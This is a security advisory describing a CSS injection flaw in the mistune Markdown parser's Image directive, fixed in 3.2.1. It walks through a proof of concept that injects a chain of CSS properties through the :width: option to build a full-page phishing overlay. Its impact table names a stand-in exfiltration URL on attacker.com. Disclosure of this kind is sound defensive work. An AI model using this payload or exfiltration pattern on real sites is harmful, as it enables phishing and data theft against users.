Описание
Mistune Image Directive CSS Injection Vulnerability
Summary
The Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). This pattern is applied via re.match() (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.
When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping.
An attacker can therefore inject an arbitrary chain of CSS properties — including position:fixed, background-color, z-index, outline, and opacity — using nothing more than a single :width: option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.
Details
File: src/mistune/directives/image.py
And in render_block_image():
The isdigit() branch correctly uses an HTML attribute for plain integers. The else branch assumes that anything that passed _num_re.match() is a safe CSS length like 100px or 50%. However, because the regex is prefix-only, 100vw;height:100vh;position:fixed;... also passes, and the entire string lands in style= unmodified.
PoC
Step 1 — Establish the baseline (safe plain-integer dimensions)
The script creates a parser with escape=True, FencedDirective, and the Image plugin. A safe image directive is rendered with integer width and height:
Expected and actual output — clean width= and height= HTML attributes, no style=:
Step 2 — Understand why non-integer widths go into style=
When width is not a plain integer (e.g., 100px), width.isdigit() returns False, so the render path falls through to style += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that _num_re.match() lets far more than CSS units through.
Step 3 — Craft the exploit payload
Provide a :width: value that begins with a valid number (satisfying _num_re.match()) but appends an entire CSS attack chain after it:
100vw— starts with1, passes_num_re.match(); also sets the width to full viewport width;height:100vh— overrides height to full viewport height;position:fixed— lifts element out of document flow, fixed to the browser viewport;top:0;left:0— anchors overlay to the top-left corner;z-index:9999— places it above all other page content;background-color:#e11d48— fills the overlay with vivid crimson;outline:8px solid #facc15— adds a bright yellow border;color:#fff;opacity:.93— styles the alt-text label in white with near-full opacity
Full exploit markdown:
Actual output:
Every injected CSS property is present in the style= attribute. When a browser renders this HTML, the <img> element:
- expands to fill 100% of the viewport width and height
- sits fixed at the top-left corner, scrolling with the viewport
- is coloured crimson with a yellow outline
- appears above all other page content
The result is a complete full-page phishing overlay generated from a single Markdown image directive.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
Example usage:
Once you run the script, open report_h6.html in the browser and observe the behaviour.
Impact
| Dimension | Assessment |
|---|---|
| Confidentiality | CSS-based data exfiltration via background-image: url(https://attacker.com/?leak=...) is possible in some browser/CSP configurations |
| Integrity | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |
| Availability | The overlay obscures all page content from the user until dismissed or navigated away |
Real-world impact scenario: An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.
Пакеты
mistune
= 3.2.0
3.2.1
Связанные уязвимости
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.
Mistune is a Python Markdown parser with renderers and plugins. Prior ...